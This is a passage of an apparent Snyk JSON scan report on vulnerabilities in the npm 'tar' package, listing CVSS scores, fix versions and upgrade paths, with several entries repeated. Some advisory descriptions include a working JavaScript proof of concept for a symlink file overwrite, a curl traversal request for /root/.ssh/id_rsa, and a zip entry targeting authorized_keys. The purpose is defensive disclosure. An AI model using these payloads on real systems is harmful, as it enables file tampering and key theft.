"probability": "0.00582", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.170068Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.32025", "probability": "0.00401", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-05T02:01:10.209067Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.07903", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-07T02:01:07.157453Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35748", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.176563Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.46183", "probability": "0.00582", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.170068Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.32025", "probability": "0.00401", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-05T02:01:10.209067Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** 